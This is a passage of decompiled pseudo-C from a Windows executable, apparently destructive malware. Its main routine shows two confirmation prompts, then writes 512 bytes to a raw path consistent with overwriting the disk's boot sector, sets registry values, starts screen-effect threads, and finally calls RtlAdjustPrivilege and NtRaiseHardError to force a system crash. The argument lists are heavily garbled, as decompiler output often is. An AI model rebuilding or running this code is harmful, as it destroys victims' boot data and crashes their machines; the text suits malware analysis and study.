eax2 = reinterpret_cast<void**>(0x416db4);
}
dl3 = 0;
while (1) {
ecx4 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax2));
if (*reinterpret_cast<uint16_t*>(&ecx4) <= 32) {
if (!*reinterpret_cast<uint16_t*>(&ecx4))
break;
if (!dl3)
goto addr_4052a8_7;
}
if (ecx4 == 34) {
dl3 = reinterpret_cast<uint1_t>(dl3 == 0);
}
eax2 = eax2 + 2;
}
addr_4052b0_11:
return eax2;
addr_4052a8_7:
while ((ecx5 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax2)),
!!*reinterpret_cast<uint16_t*>(&ecx5)) && *reinterpret_cast<uint16_t*>(&ecx5) <= 32) {
eax2 = eax2 + 2;
}
goto addr_4052b0_11;
}

struct s67 {
 int16_t f0;
signed char[58] pad60;
int32_t f3c;
};

struct s68 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
uint32_t f74;
signed char[112] pad232;
int32_t fe8;
};

signed char fun_403798(void** ecx) {

struct s67* eax2;
struct s68* ecx3;

eax2 = reinterpret_cast<struct s67*>(GetModuleHandleW());

if (!eax2 || (eax2->f0 != 0x5a4d || ((ecx3 = reinterpret_cast<struct s68*>(eax2->f3c +
reinterpret_cast<int32_t>(eax2)), ecx3->f0 != 0x4550) || (ecx3->f18 != 0x10b || (ecx3->f74 <= 14
|| !ecx3->fe8))))) {
goto 0;
} else {
goto 0;
}
}

void fun_40559b(void** ecx, void** a2) {

fun_405366(ecx, a2, 2, 0);
return;
}

int32_t g416000 = 0x44bf19b1;

void fun_40357b(void** ecx) {

uint32_t ecx2;
uint32_t eax3;

ecx2 = g416004;
if (ecx2 == 0xbb40e64e || !(0xffff0000 & ecx2)) {
eax3 = fun_40352e();
ecx2 = eax3;
 if (ecx2 != 0xbb40e64e) {
if (!(0xffff0000 & ecx2)) {
ecx2 = ecx2 | (eax3 | 0x4711) << 16;
}
} else {
ecx2 = 0xbb40e64f;
}
g416004 = ecx2;
}
g416000 = reinterpret_cast<int32_t>(~ecx2);
return;
}

uint32_t fun_4034a7(void** ecx, void** a2) {

uint32_t eax3;
uint32_t tmp32_4;

eax3 = fun_403ad5();
if (eax3 && !a2) {
tmp32_4 = g416aa0;
g416aa0 = 0;
eax3 = tmp32_4;
}
return eax3;
}

uint32_t fun_4038a0(void** ecx, void** a2, void** a3, void** a4) {

void* esp5;
void* ebp6;
int32_t* esp7;
int32_t ebx8;
int32_t* esp9;
int32_t esi10;
int32_t* esp11;
int32_t edi12;
uint32_t eax13;
uint32_t* esp14;
int32_t* esp15;

esp5 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4);

ebp6 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp5) + 16);
esp7 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(esp5) -
reinterpret_cast<unsigned char>(a3) - 4);
*esp7 = ebx8;
 esp9 = esp7 - 1;
*esp9 = esi10;
esp11 = esp9 - 1;
*esp11 = edi12;
eax13 = g416004;
esp14 = reinterpret_cast<uint32_t*>(esp11 - 1);
*esp14 = eax13 ^ reinterpret_cast<uint32_t>(ebp6);
esp15 = reinterpret_cast<int32_t*>(esp14 - 1);
*esp15 = reinterpret_cast<int32_t>(__return_address());
g0 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp6) + 0xfffffff0);
goto *esp15;
}

void** fun_403641(void** ecx) {

return 0x41728c;
}

uint16_t fun_403762(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19) {
void*** ebp20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** ebp38;
unsigned char v39;
uint32_t eax40;
uint16_t v41;

ebp20 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

 fun_403de0(ecx, ebp20 + 0xffffffbc, 0, 68, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30,
v31, v32, v33, v34, v35, v36, v37, ebp38, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12, a13, a14, a15, a16, a17, a18, a19);
GetStartupInfoW(ebp20 - 68);
if (!(v39 & 1)) {
return 10;
} else {
eax40 = v41;
return *reinterpret_cast<uint16_t*>(&eax40);
}
}

int32_t MessageBoxW = 0x14f78;

int32_t RegCreateKeyExW = 0x150fe;

int32_t RegSetValueExW = 0x150ec;

int32_t RegCloseKey = 0x15110;

int32_t Sleep = 0x14e7a;

int32_t CreateThread = 0x14ea0;

struct s69 {
signed char[12] pad12;
int32_t fc;
};

void fun_4016b0(struct s69* a1);

void fun_4015f0();

void fun_401620();

int32_t RedrawWindow = 0x14f54;

int32_t LoadLibraryW = 0x14e90;

int32_t OpenProcessToken = 0x150d8;

int32_t LookupPrivilegeValueW = 0x15136;

int32_t AdjustTokenPrivileges = 0x1511e;

int32_t ExitWindowsEx = 0x14f44;

void** fun_401060(void** ecx) {

void* ebp2;
uint32_t eax3;
uint32_t v4;
int32_t v5;
int32_t ebx6;
int32_t ebx7;
int32_t v8;
int32_t esi9;
int32_t v10;
int32_t edi11;
int32_t eax12;
int32_t v13;
int32_t eax14;
int32_t eax15;
int32_t esi16;
void* v17;
void* v18;
int32_t v19;
int32_t eax20;
int32_t v21;
int32_t edi22;
void** v23;
int32_t esi24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
 void** v42;
void** v43;
int32_t ebx44;
int32_t v45;
int32_t v46;
uint32_t edi47;
void* esi48;
int32_t eax49;
int32_t v50;
int32_t eax51;
int32_t eax52;
int32_t eax53;
int32_t eax54;
int32_t esi55;
int32_t edi56;
int32_t eax57;
int32_t esi58;
int32_t eax59;
int32_t eax60;
int32_t eax61;
void* v62;
void* v63;
void* v64;
int32_t eax65;
void* v66;
void** v67;
void** v68;
uint32_t ecx69;
void** eax70;

ebp2 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax3 = g416004;
v4 = eax3 ^ reinterpret_cast<uint32_t>(ebp2);
v5 = ebx6;
ebx7 = MessageBoxW;
v8 = esi9;
v10 = edi11;
eax12 = reinterpret_cast<int32_t>(ebx7(0, "Y", "S", 0x134, v10, v8, v5));
if (eax12 != 6 || (v13 = 0x134, eax14 = reinterpret_cast<int32_t>(ebx7(0, "F", "S", 0x134, 0,
"Y", "S", 0x134, v10, v8, v5)), eax14 != 6)) {
addr_4010f6_2:
v13 = 0;
ExitProcess(0, 0, "Y", "S", 0x134, v10, v8, v5);
} else {
 ecx = reinterpret_cast<void**>(0x80);
while (ecx) {
--ecx;
}
eax15 = reinterpret_cast<int32_t>(CreateFileW("\\", 0x10000000, 3, 0, 3, 0, 0, 0, "F", "S",
0x134, 0, "Y", "S", 0x134, v10, v8, v5));
esi16 = eax15;
if (esi16 == -1)
goto addr_4010df_7;
}
v17 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc30);
v18 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffdfc);
v19 = esi16;
eax20 = reinterpret_cast<int32_t>(WriteFile(v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134,
v10, v8, v5));
if (!eax20) {
ebx7(eax20, "F", "E", 16, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
CloseHandle(esi16, eax20, "F", "E", 16, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134,
v10, v8, v5);
ExitProcess(0, esi16, eax20, "F", "E", 16, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134,
v10, v8, v5);
}
v21 = esi16;
CloseHandle(v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
edi22 = RegCreateKeyExW;
v23 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc18);
edi22(0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y",
"S", 0x134, v10, v8, v5);
esi24 = RegSetValueExW;
v25 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc34);
v26 = v27;
esi24(v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
v28 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc34);
v29 = v30;
esi24(v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0,
v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
v31 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc18);
edi22(0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
v32 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc34);
v33 = v34;
 esi24(v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4,
v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0,
v13, 0, "Y", "S", 0x134, v10, v8, v5);
v35 = v36;
RegCloseKey(v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29,
"D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19,
v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
Sleep(0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29,
"D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19,
v18, 0x200, v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
v37 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc4c);
fun_403de0(ecx, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0,
0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f,
0, v23, ecx, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0,
v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23);
v38 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc8c);
fun_403de0(ecx, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S",
0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0,
ecx, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f,
0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0);
v39 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffccc);
fun_403de0(ecx, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", ecx, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S");
v40 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffd0c);
fun_403de0(ecx, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4,
v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25,
ecx, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25);
v41 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffd4c);
fun_403de0(ecx, v41, 0, 48, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33,
"D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D",
ecx, v41, 0, 48, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D");
v42 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffd8c);
fun_403de0(ecx, v42, 0, 48, v41, 0, 48, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388,
v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, ecx,
v42, 0, 48, v41, 0, 48, v40, 0, 48, v39, 0, 48, v38, 0, 48, v37, 0, 48, 0x1388, v35, v33, "D", 0, 4,
v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28);
v43 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffdcc);
fun_403de0(ecx, v43, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0,
0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f,
0, v23, ecx, v43, 0, 48, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0,
v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23);
ebx44 = CreateThread;
v45 = 0;
v46 = 0;
edi47 = 0;
do {
esi48 = reinterpret_cast<void*>(edi47 << 6);
eax49 = reinterpret_cast<int32_t>(ebx44(0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2)
+ 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5));
v50 = 0;
if (!0) {
eax51 = reinterpret_cast<int32_t>(ebx44(0, 0, 0x402000,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5));
v50 = eax51;
}
eax52 = reinterpret_cast<int32_t>(ebx44(0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5));
if (edi47 == 1) {
eax53 = reinterpret_cast<int32_t>(ebx44(0, 0, fun_4015f0, 0, 0, 0, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5));
v45 = eax53;
eax54 = reinterpret_cast<int32_t>(ebx44(0, 0, fun_401620, 0, 0, 0, 0, 0, fun_4015f0, 0,
0, 0, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5));
 v46 = eax54;
}
Sleep(0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
esi55 = CloseHandle;
esi55(eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
esi55(v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c
+ reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
esi55(eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388,
v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4,
v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0,
v13, 0, "Y", "S", 0x134, v10, v8, v5);
RedrawWindow(0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
++edi47;
} while (reinterpret_cast<int32_t>(edi47) < reinterpret_cast<int32_t>(7));
esi55(v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
esi55(v46, v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
edi56 = LoadLibraryW;
eax57 = reinterpret_cast<int32_t>(edi56("n", "RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85,
eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5));
esi58 = GetProcAddress;
eax59 = reinterpret_cast<int32_t>(esi58(eax57, "n", "RtlAdjustPrivilege", v46, v45, 0, 0, 0,
0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388,
v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4,
v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0,
v13, 0, "Y", "S", 0x134, v10, v8, v5));
eax60 = reinterpret_cast<int32_t>(edi56("n", "NtRaiseHardError", eax57, "n",
"RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5));
eax61 = reinterpret_cast<int32_t>(esi58(eax60, "n", "NtRaiseHardError", eax57, "n",
"RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5));
v62 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3b);
eax59(19, 1, 0, v62, eax60, "n", "NtRaiseHardError", eax57, "n", "RtlAdjustPrivilege", v46,
v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
v63 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc2c);
eax61(0xc0000420, 0, 0, 0, 6, v63, 19, 1, 0, v62, eax60, "n", "NtRaiseHardError", eax57, "n",
"RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0,
0x4020b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0,
0, 0x1388, v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4,
v28, 4, v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200,
v17, 0, v13, 0, "Y", "S", 0x134, v10, v8, v5);
v64 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc14);
